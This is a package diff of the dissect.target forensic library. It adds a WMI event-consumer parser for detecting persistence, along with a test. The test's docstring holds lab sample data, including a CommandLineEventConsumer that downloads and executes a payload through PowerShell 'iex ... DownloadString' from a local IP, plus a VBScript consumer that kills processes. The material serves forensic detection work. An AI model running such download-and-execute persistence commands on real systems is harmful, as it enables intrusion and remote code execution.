dissect.target 3.23.dev71__tar.gz → 3.23.dev72__tar.gz

{dissect_target-3.23.dev71 → dissect_target-3.23.dev72}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.4
 Name: dissect.target
-Version: 3.23.dev71
+Version: 3.23.dev72
 Summary: This module ties all other Dissect modules together, it provides a programming API and command line tools which allow easy access to various data sources inside disk images or file collections (a.k.a. targets)
 Author-email: Dissect Team <dissect@fox-it.com>
 License: Affero General Public License v3

dissect_target-3.23.dev72/dissect/target/plugins/os/windows/cim.py

@@ -0,0 +1,194 @@
+from __future__ import annotations
+
+from dataclasses import asdict, dataclass
+from typing import TYPE_CHECKING
+
+from dissect.cim import cim
+from dissect.util.sid import read_sid
+
+from dissect.target.exceptions import UnsupportedPluginError
+from dissect.target.helpers.record import TargetRecordDescriptor
+from dissect.target.plugin import Plugin, export, internal
+
+if TYPE_CHECKING:
+    from collections.abc import Iterator
+
+    from dissect.target.target import Target
+
+# https://learn.microsoft.com/en-us/windows/win32/wmisdk/--eventconsumer
+COMMON_ELEMENTS = [
+    ("string", "creator_sid"),
+    ("string", "machine_name"),
+    ("string", "filter_query"),
+    ("string", "filter_name"),
+    ("string", "filter_query_language"),
+    ("string", "filter_creator_sid"),
+]
+
+CommandLineEventConsumerRecord = TargetRecordDescriptor(
+    "filesystem/windows/cim/consumerbinding/commandlineeventconsumer",
+    [
+        *COMMON_ELEMENTS,
+        ("string", "command_line_template"),
+        ("string", "executable_path"),
+        ("string", "working_directory"),
+    ],
+)
+
+# https://learn.microsoft.com/en-us/windows/win32/wmisdk/activescripteventconsumer
+ActiveScriptEventConsumerRecord = TargetRecordDescriptor(
+    "filesystem/windows/cim/consumerbinding/activescripteventconsumer",
+    [
+        *COMMON_ELEMENTS,
+        ("string", "script_text"),
+        ("string", "script_file_name"),
+        ("string", "scripting_engine"),
+        ("string", "name"),
+    ],
+)
+
+
+@dataclass
+class EventFilter:
+    """Extracted information from ``__EventFilter``.
+
+    References:
+        - https://learn.microsoft.com/en-us/windows/win32/wmisdk/--eventfilter
+    """
+
+    filter_name: str = ""
+    filter_query: str = ""
+    filter_query_language: str = ""
+    filter_creator_sid: str = ""
+
+
+def get_property_value_safe(consumer: cim.Instance, prop_name: str, default_value: str | None = None) -> str | None:
+    """Extract value of a consumer properties. Fallback to ``default_value`` if property is missing."""
+    if not (prop := consumer.properties.get(prop_name)):
+        return default_value
+    try:
+        return str(prop.value)
+    except ValueError:
+        return default_value
+
+
+def get_filter_name(binding: cim.Instance) -> str:
+    """Return unquoted filter name from a ``__filtertoconsumerbinding`` class instance."""
+    filter_name = binding.properties["Filter"].value
+    # filter name is not always consistent
+    # e.g : __EventFilter.Name="Windows Update Event MOF" or
+    # \\.\root\subscription:__EventFilter.Name="Windows Update Event MOF"
+    if "=" in filter_name:
+        # Required to manage filters name with escaped "
+        _, _, filter_name = filter_name.partition("=")
+        filter_name = filter_name.strip('"').replace('\\"', '"')
+    return filter_name
+
+
+def get_creator_sid(class_instance: cim.Instance) -> str | None:
+    """Extract and parse ``CreatorSID`` member, if available."""
+    if (creator_sid := class_instance.properties.get("CreatorSID")) and (
+        creator_sid_value := getattr(creator_sid, "value", None)
+    ):
+        return read_sid(bytes(creator_sid_value))
+    return None
+
+
+class CimPlugin(Plugin):
+    """CIM database plugin.
+
+    Provides functions for getting useful data out the CIM (WBEM) database.
+    """
+
+    __namespace__ = "cim"
+
+    def __init__(self, target: Target):
+        super().__init__(target)
+        self._repo = None
+        repodir = self.target.resolve("%windir%/system32/wbem/repository")
+        self._subscription_ns = None
+        self._filters: dict[str, EventFilter] = {}
+        if repodir.exists():
+            index = repodir.joinpath("index.btr")
+            objects = repodir.joinpath("objects.data")
+            mappings = [repodir.joinpath(f"mapping{i}.map") for i in range(1, 4)]
+
+            if all([index.exists(), objects.exists(), all(m.exists() for m in mappings)]):
+                try:
+                    self._repo = cim.CIM(index.open(), objects.open(), [m.open() for m in mappings])
+                except cim.Error as e:
+                    self.target.log.warning("Error opening CIM database")
+                    self.target.log.debug("", exc_info=e)
+            self._subscription_ns = self._repo.root.namespace("subscription")
+            self._filters = self._get_filters()
+
+    def check_compatible(self) -> None:
+        if not self._repo:
+            raise UnsupportedPluginError("No WBEM repository found")
+
+    @internal
+    def repo(self) -> cim.CIM:
+        return self._repo
+
+    def _iter_consumerbindings(self) -> Iterator[tuple[cim.Instance, str]]:
+        """Yield consumer bindings from ``__filtertoconsumerbinding`` of subscription namespace."""
+        try:
+            for binding in self._subscription_ns.class_("__filtertoconsumerbinding").instances:
+                yield (
+                    self._subscription_ns.query(binding.properties["Consumer"].value),
+                    get_filter_name(binding),
+                )
+        except Exception as e:
+            self.target.log.warning("Error retrieving consumerbindings")
+            self.target.log.debug("", exc_info=e)
+
+    @export(record=[ActiveScriptEventConsumerRecord, CommandLineEventConsumerRecord])
+    def consumerbindings(self) -> Iterator[ActiveScriptEventConsumerRecord | CommandLineEventConsumerRecord]:
+        """Return all ActiveScriptEventConsumer and CommandLineEventConsumer.
+
+        WMI permanent event subscriptions can be used to trigger actions when specified conditions are met. Attackers
+        often use this functionality to persist the execution of backdoors at system start up. WMI Consumers specify an
+        action to be performed, including executing a command, running a script, adding an entry to a log, or sending
+        an email. WMI Filters define conditions that will trigger a Consumer.
+
+        References:
+            - https://learn-powershell.net/2013/08/14/powershell-and-events-permanent-wmi-event-subscriptions/
+            - https://www.mandiant.com/resources/dissecting-one-ofap
+            - https://support.sophos.com/support/s/article/KB-000038535?language=en_US&c__displayLanguage=en_US
+            - https://learn.microsoft.com/en-us/windows/win32/wmisdk/activescripteventconsumer
+            - https://learn.microsoft.com/en-us/windows/win32/wmisdk/commandlineeventconsumer
+        """
+        for consumer, filter_name in self._iter_consumerbindings():
+            if consumer.properties.get("ScriptText"):
+                yield ActiveScriptEventConsumerRecord(
+                    script_text=get_property_value_safe(consumer, "ScriptText", ""),
+                    script_file_name=get_property_value_safe(consumer, "ScriptFileName", ""),
+                    scripting_engine=get_property_value_safe(consumer, "ScriptingEngine", ""),
+                    machine_name=get_property_value_safe(consumer, "MachineName", ""),
+                    name=get_property_value_safe(consumer, "Name", ""),
+                    creator_sid=get_creator_sid(consumer),
+                    _target=self.target,
+                    **asdict(self._filters.get(filter_name, EventFilter(filter_name=filter_name))),
+                )
+            if consumer.properties.get("CommandLineTemplate"):
+                yield CommandLineEventConsumerRecord(
+                    command_line_template=get_property_value_safe(consumer, "CommandLineTemplate", ""),
+                    executable_path=get_property_value_safe(consumer, "ExecutablePath", ""),
+                    working_directory=get_property_value_safe(consumer, "WorkingDirectory", ""),
+                    creator_sid=get_creator_sid(consumer),
+                    _target=self.target,
+                    **asdict(self._filters.get(filter_name, EventFilter(filter_name=filter_name))),
+                )
+
+    def _get_filters(self) -> dict[str, EventFilter]:
+        """Generate a dictionary of ``__EventFilter`` that can be mapped with ``__filtertoconsumerbinding``."""
+        filters = {}
+        for event in self._subscription_ns.class_("__EventFilter").instances:
+            filter_name = event.properties["Name"].value
+            filters[filter_name] = EventFilter(
+                filter_name=filter_name,
+                filter_query=event.properties["Query"].value,
+                filter_query_language=event.properties["QueryLanguage"].value,
+                filter_creator_sid=get_creator_sid(event),
+            )
+        return filters

{dissect_target-3.23.dev71 → dissect_target-3.23.dev72}/dissect.target.egg-info/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.4
 Name: dissect.target
-Version: 3.23.dev71
+Version: 3.23.dev72
 Summary: This module ties all other Dissect modules together, it provides a programming API and command line tools which allow easy access to various data sources inside disk images or file collections (a.k.a. targets)
 Author-email: Dissect Team <dissect@fox-it.com>
 License: Affero General Public License v3

{dissect_target-3.23.dev71 → dissect_target-3.23.dev72}/dissect.target.egg-info/SOURCES.txt

@@ -715,6 +715,7 @@ tests/plugins/os/windows/test_adpolicy.py
 tests/plugins/os/windows/test_amcache.py
 tests/plugins/os/windows/test_cam.py
 tests/plugins/os/windows/test_catroot.py
+tests/plugins/os/windows/test_cim.py
 tests/plugins/os/windows/test_clfs.py
 tests/plugins/os/windows/test_datetime.py
 tests/plugins/os/windows/test_defender.py

dissect_target-3.23.dev72/tests/plugins/os/windows/test_cim.py

@@ -0,0 +1,263 @@
+from __future__ import annotations
+
+from typing import TYPE_CHECKING
+
+from dissect.target.plugins.os.windows import cim
+from dissect.target.plugins.os.windows.cim import ActiveScriptEventConsumerRecord, CommandLineEventConsumerRecord
+from tests._utils import absolute_path
+
+if TYPE_CHECKING:
+    from dissect.target.filesystem import VirtualFilesystem
+    from dissect.target.target import Target
+
+
+def test_cim_plugin(target_win: Target, fs_win: VirtualFilesystem) -> None:
+    wbem_repository = absolute_path("_data/plugins/os/windows/cim")
+    fs_win.map_dir("Windows/System32/wbem/repository", wbem_repository)
+
+    target_win.add_plugin(cim.CimPlugin)
+    consumer_records = list(target_win.cim.consumerbindings())
+    assert len(consumer_records) == 3
+    assert len([r for r in consumer_records if type(r) == CommandLineEventConsumerRecord.recordType]) == 1  # noqa: E721
+    assert len([r for r in consumer_records if type(r) == ActiveScriptEventConsumerRecord.recordType]) == 2  # noqa: E721
+    # Ensure associated filter query was correctly found for all
+    assert len([record for record in target_win.cim() if record.filter_query]) == 3
+
+
+"""
+Result of the WMI query on the system used to generate the test data
+
+## __FilterToConsumerBinding
+```
+ Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
+__GENUS                 : 2
+__CLASS                 : __FilterToConsumerBinding
+__SUPERCLASS            : __IndicationRelated
+__DYNASTY               : __SystemClass
+__RELPATH               : __FilterToConsumerBinding.Consumer="\\\\.\\root\\subscription:CommandLineEventConsumer.Name=\"Windows Update Consumer MOF\"",Filter="\\\\.\\root\\subscription:__EventFilter.Name=\"Windows Update Event MOF\""
+__PROPERTY_COUNT        : 7
+__DERIVATION            : {__IndicationRelated, __SystemClass}
+__SERVER                : DESKTOP-O8964S4
+__NAMESPACE             : ROOT\Subscription
+__PATH                  : \\DESKTOP-O8964S4\ROOT\Subscription:__FilterToConsumerBinding.Consumer="\\\\.\\root\\subscription:CommandLineEventConsumer.Name=\"Windows Update Consumer MOF\"",Filter="\\\\.\\root\\subscription:__EventFilter.Name=\"Windows Update Event MOF\""
+Consumer                : \\.\root\subscription:CommandLineEventConsumer.Name="Windows Update Consumer MOF"
+CreatorSID              : {1, 5, 0, 0...}
+DeliverSynchronously    : False
+DeliveryQoS             :
+Filter                  : \\.\root\subscription:__EventFilter.Name="Windows Update Event MOF"
+MaintainSecurityContext : False
+SlowDownProviders       : False
+PSComputerName          : DESKTOP-O8964S4
+
+__GENUS                 : 2
+__CLASS                 : __FilterToConsumerBinding
+__SUPERCLASS            : __IndicationRelated
+__DYNASTY               : __SystemClass
+__RELPATH               : __FilterToConsumerBinding.Consumer="NTEventLogEventConsumer.Name=\"SCM Event Log Consumer\"",Filter="__EventFilter.Name=\"SCM Event Log Filter\""
+__PROPERTY_COUNT        : 7
+__DERIVATION            : {__IndicationRelated, __SystemClass}
+__SERVER                : DESKTOP-O8964S4
+__NAMESPACE             : ROOT\Subscription
+__PATH                  : \\DESKTOP-O8964S4\ROOT\Subscription:__FilterToConsumerBinding.Consumer="NTEventLogEventConsumer.Name=\"SCM Event Log Consumer\"",Filter="__EventFilter.Name=\"SCM Event Log Filter\""
+Consumer                : NTEventLogEventConsumer.Name="SCM Event Log Consumer"
+CreatorSID              : {1, 2, 0, 0...}
+DeliverSynchronously    : False
+DeliveryQoS             :
+Filter                  : __EventFilter.Name="SCM Event Log Filter"
+MaintainSecurityContext : False
+SlowDownProviders       : False
+PSComputerName          : DESKTOP-O8964S4
+
+__GENUS                 : 2
+__CLASS                 : __FilterToConsumerBinding
+__SUPERCLASS            : __IndicationRelated
+__DYNASTY               : __SystemClass
+__RELPATH               : __FilterToConsumerBinding.Consumer="\\\\.\\root\\subscription:ActiveScriptEventConsumer.Name=\"bad vbs\"",Filter="\\\\.\\root\\subscription:__EventFilter.Name=\"Windows\\\" Update Event MOF\""
+__PROPERTY_COUNT        : 7
+__DERIVATION            : {__IndicationRelated, __SystemClass}
+__SERVER                : DESKTOP-O8964S4
+__NAMESPACE             : ROOT\Subscription
+__PATH                  : \\DESKTOP-O8964S4\ROOT\Subscription:__FilterToConsumerBinding.Consumer="\\\\.\\root\\subscription:ActiveScriptEventConsumer.Name=\"bad vbs\"",Filter="\\\\.\\root\\subscription:__EventFilter.Name=\"Windows\\\" Update Event MOF\""
+Consumer                : \\.\root\subscription:ActiveScriptEventConsumer.Name="bad vbs"
+CreatorSID              : {1, 5, 0, 0...}
+DeliverSynchronously    : False
+DeliveryQoS             :
+Filter                  : \\.\root\subscription:__EventFilter.Name="Windows\" Update Event MOF"
+MaintainSecurityContext : False
+SlowDownProviders       : False
+PSComputerName          : DESKTOP-O8964S4
+
+__GENUS                 : 2
+__CLASS                 : __FilterToConsumerBinding
+__SUPERCLASS            : __IndicationRelated
+__DYNASTY               : __SystemClass
+__RELPATH               : __FilterToConsumerBinding.Consumer="\\\\.\\root\\subscription:ActiveScriptEventConsumer.Name=\"bad vbs\"",Filter="\\\\.\\root\\subscription:__EventFilter.Name=\"Windows Update Event MOF\""
+__PROPERTY_COUNT        : 7
+__DERIVATION            : {__IndicationRelated, __SystemClass}
+__SERVER                : DESKTOP-O8964S4
+__NAMESPACE             : ROOT\Subscription
+__PATH                  : \\DESKTOP-O8964S4\ROOT\Subscription:__FilterToConsumerBinding.Consumer="\\\\.\\root\\subscription:ActiveScriptEventConsumer.Name=\"bad vbs\"",Filter="\\\\.\\root\\subscription:__EventFilter.Name=\"Windows Update Event MOF\""
+Consumer                : \\.\root\subscription:ActiveScriptEventConsumer.Name="bad vbs"
+CreatorSID              : {1, 5, 0, 0...}
+DeliverSynchronously    : False
+DeliveryQoS             :
+Filter                  : \\.\root\subscription:__EventFilter.Name="Windows Update Event MOF"
+MaintainSecurityContext : False
+SlowDownProviders       : False
+PSComputerName          : DESKTOP-O8964S4
+```
+
+## __EventFilter
+
+```
+Get-WMIObject -Namespace root\Subscription -Class __EventFilter
+__GENUS          : 2
+__CLASS          : __EventFilter
+__SUPERCLASS     : __IndicationRelated
+__DYNASTY        : __SystemClass
+__RELPATH        : __EventFilter.Name="Windows Update Event MOF"
+__PROPERTY_COUNT : 6
+__DERIVATION     : {__IndicationRelated, __SystemClass}
+__SERVER         : DESKTOP-O8964S4
+__NAMESPACE      : ROOT\Subscription
+__PATH           : \\DESKTOP-O8964S4\ROOT\Subscription:__EventFilter.Name="Windows Update Event MOF"
+CreatorSID       : {1, 5, 0, 0...}
+EventAccess      :
+EventNamespace   : root\cimv2
+Name             : Windows Update Event MOF
+Query            : SELECT * FROM __InstanceCreationEvent WITHIN 5WHERE TargetInstance ISA "Win32_Process" AND TargetInstance.Name = "test.exe"
+QueryLanguage    : WQL
+PSComputerName   : DESKTOP-O8964S4
+
+__GENUS          : 2
+__CLASS          : __EventFilter
+__SUPERCLASS     : __IndicationRelated
+__DYNASTY        : __SystemClass
+__RELPATH        : __EventFilter.Name="SCM Event Log Filter"
+__PROPERTY_COUNT : 6
+__DERIVATION     : {__IndicationRelated, __SystemClass}
+__SERVER         : DESKTOP-O8964S4
+__NAMESPACE      : ROOT\Subscription
+__PATH           : \\DESKTOP-O8964S4\ROOT\Subscription:__EventFilter.Name="SCM Event Log Filter"
+CreatorSID       : {1, 2, 0, 0...}
+EventAccess      :
+EventNamespace   : root\cimv2
+Name             : SCM Event Log Filter
+Query            : select * from MSFT_SCMEventLogEvent
+QueryLanguage    : WQL
+PSComputerName   : DESKTOP-O8964S4
+
+__GENUS          : 2
+__CLASS          : __EventFilter
+__SUPERCLASS     : __IndicationRelated
+__DYNASTY        : __SystemClass
+__RELPATH        : __EventFilter.Name="Windows\" Update Event MOF"
+__PROPERTY_COUNT : 6
+__DERIVATION     : {__IndicationRelated, __SystemClass}
+__SERVER         : DESKTOP-O8964S4
+__NAMESPACE      : ROOT\Subscription
+__PATH           : \\DESKTOP-O8964S4\ROOT\Subscription:__EventFilter.Name="Windows\" Update Event MOF"
+CreatorSID       : {1, 5, 0, 0...}
+EventAccess      :
+EventNamespace   : root\cimv2
+Name             : Windows" Update Event MOF
+Query            : SELECT * FROM __InstanceCreationEvent WITHIN 5WHERE TargetInstance ISA "Win32_Process" AND TargetInstance.Name = "test.exe"
+QueryLanguage    : WQL
+PSComputerName   : DESKTOP-O8964S4
+```
+
+## EventConsumer
+```
+Get-WMIObject -Namespace root\Subscription -Class __EventConsumer
+__GENUS          : 2
+__CLASS          : ActiveScriptEventConsumer
+__SUPERCLASS     : __EventConsumer
+__DYNASTY        : __SystemClass
+__RELPATH        : ActiveScriptEventConsumer.Name="bad vbs"
+__PROPERTY_COUNT : 8
+__DERIVATION     : {__EventConsumer, __IndicationRelated, __SystemClass}
+__SERVER         : DESKTOP-O8964S4
+__NAMESPACE      : ROOT\Subscription
+__PATH           : \\DESKTOP-O8964S4\ROOT\Subscription:ActiveScriptEventConsumer.Name="bad vbs"
+CreatorSID       : {1, 5, 0, 0...}
+KillTimeout      : 0
+MachineName      :
+MaximumQueueSize :
+Name             : bad vbs
+ScriptFilename   :
+ScriptingEngine  : VBScript
+ScriptText       : Dim oLocation, oServices, oProcessList, oProcess
+
+                                    Set oLocation = CreateObject("WbemScripting.SWbemLocator")
+                        Set oServices = oLocation.ConnectServer(, "root\cimv2")
+                        Set oProcessList = oServices.ExecQuery("SELECT * FROM Win32_Process WHERE ProcessID = " & TargetEvent.ProcessID)
+                        For Each oProcess in oProcessList
+                                oProcess.Terminate()
+                        Next
+PSComputerName   : DESKTOP-O8964S4
+
+__GENUS               : 2
+__CLASS               : CommandLineEventConsumer
+__SUPERCLASS          : __EventConsumer
+__DYNASTY             : __SystemClass
+__RELPATH             : CommandLineEventConsumer.Name="Windows Update Consumer MOF"
+__PROPERTY_COUNT      : 27
+__DERIVATION          : {__EventConsumer, __IndicationRelated, __SystemClass}
+__SERVER              : DESKTOP-O8964S4
+__NAMESPACE           : ROOT\Subscription
+__PATH                : \\DESKTOP-O8964S4\ROOT\Subscription:CommandLineEventConsumer.Name="Windows Update Consumer MOF"
+CommandLineTemplate   : cmd /C powershell.exe -nop iex(New-Object Net.WebClient).DownloadString('http://10.0.0.104/bad.exe'); bad.exe
+CreateNewConsole      : False
+CreateNewProcessGroup : False
+CreateSeparateWowVdm  : False
+CreateSharedWowVdm    : False
+CreatorSID            : {1, 5, 0, 0...}
+DesktopName           :
+ExecutablePath        :
+FillAttribute         :
+ForceOffFeedback      : False
+ForceOnFeedback       : False
+KillTimeout           : 0
+MachineName           :
+MaximumQueueSize      :
+Name                  : Windows Update Consumer MOF
+Priority              : 32
+RunInteractively      : False
+ShowWindowCommand     :
+UseDefaultErrorMode   : False
+WindowTitle           :
+WorkingDirectory      :
+XCoordinate           :
+XNumCharacters        :
+XSize                 :
+YCoordinate           :
+YNumCharacters        :
+YSize                 :
+PSComputerName        : DESKTOP-O8964S4
+
+__GENUS                  : 2
+__CLASS                  : NTEventLogEventConsumer
+__SUPERCLASS             : __EventConsumer
+__DYNASTY                : __SystemClass
+__RELPATH                : NTEventLogEventConsumer.Name="SCM Event Log Consumer"
+__PROPERTY_COUNT         : 13
+__DERIVATION             : {__EventConsumer, __IndicationRelated, __SystemClass}
+__SERVER                 : DESKTOP-O8964S4
+__NAMESPACE              : ROOT\Subscription
+__PATH                   : \\DESKTOP-O8964S4\ROOT\Subscription:NTEventLogEventConsumer.Name="SCM Event Log Consumer"
+Category                 : 0
+CreatorSID               : {1, 2, 0, 0...}
+EventID                  : 0
+EventType                : 1
+InsertionStringTemplates : {}
+MachineName              :
+MaximumQueueSize         :
+Name                     : SCM Event Log Consumer
+NameOfRawDataProperty    :
+NameOfUserSIDProperty    : sid
+NumberOfInsertionStrings : 0
+SourceName               : Service Control Manager
+UNCServerName            :
+PSComputerName           : DESKTOP-O8964S4
+```
+"""  # noqa : W605 E501

dissect_target-3.23.dev71/dissect/target/plugins/os/windows/cim.py

@@ -1,82 +0,0 @@
-from __future__ import annotations
-
-from typing import TYPE_CHECKING
-
-from dissect.cim import cim
-
-from dissect.target.exceptions import UnsupportedPluginError
-from dissect.target.helpers.record import TargetRecordDescriptor
-from dissect.target.plugin import Plugin, export, internal
-
-if TYPE_CHECKING:
-    from collections.abc import Iterator
-
-    from dissect.target.target import Target
-
-ConsumerBindingRecord = TargetRecordDescriptor(
-    "filesystem/windows/cim/consumerbinding",
-    [
-        ("string", "query"),
-    ],
-)
-
-
-class CimPlugin(Plugin):
-    """CIM database plugin.
-
-    Provides functions for getting useful data out the CIM (WBEM) database.
-    """
-
-    __namespace__ = "cim"
-
-    def __init__(self, target: Target):
-        super().__init__(target)
-        self._repo = None
-
-        repodir = self.target.resolve("%windir%/system32/wbem/repository")
-        if repodir.exists():
-            index = repodir.joinpath("index.btr")
-            objects = repodir.joinpath("objects.data")
-            mappings = [repodir.joinpath(f"mapping{i}.map") for i in range(1, 4)]
-
-            if all([index.exists(), objects.exists(), all(m.exists() for m in mappings)]):
-                try:
-                    self._repo = cim.CIM(index.open(), objects.open(), [m.open() for m in mappings])
-                except cim.Error as e:
-                    self.target.log.warning("Error opening CIM database")
-                    self.target.log.debug("", exc_info=e)
-
-    def check_compatible(self) -> None:
-        if not self._repo:
-            raise UnsupportedPluginError("No WBEM repository found")
-
-    @internal
-    def repo(self) -> cim.CIM:
-        return self._repo
-
-    @export(record=ConsumerBindingRecord)
-    def consumerbindings(self) -> Iterator[ConsumerBindingRecord]:
-        """Return all __FilterToConsumerBinding queries.
-
-        WMI permanent event subscriptions can be used to trigger actions when specified conditions are met. Attackers
-        often use this functionality to persist the execution of backdoors at system start up. WMI Consumers specify an
-        action to be performed, including executing a command, running a script, adding an entry to a log, or sending
-        an email. WMI Filters define conditions that will trigger a Consumer.
-
-        References:
-            - https://learn-powershell.net/2013/08/14/powershell-and-events-permanent-wmi-event-subscriptions/
-            - https://www.mandiant.com/resources/dissecting-one-ofap
-            - https://support.sophos.com/support/s/article/KB-000038535?language=en_US&c__displayLanguage=en_US
-        """
-        subscription_ns = self._repo.root.namespace("subscription")
-        try:
-            for binding in subscription_ns.class_("__filtertoconsumerbinding").instances:
-                consumer = subscription_ns.query(binding.properties["Consumer"].value)
-                if query := consumer.properties.get("CommandLineTemplate"):
-                    yield ConsumerBindingRecord(
-                        query=query.value,
-                        _target=self.target,
-                    )
-        except Exception as e:
-            self.target.log.warning("Error during consumerbindings execution")
-            self.target.log.debug("", exc_info=e)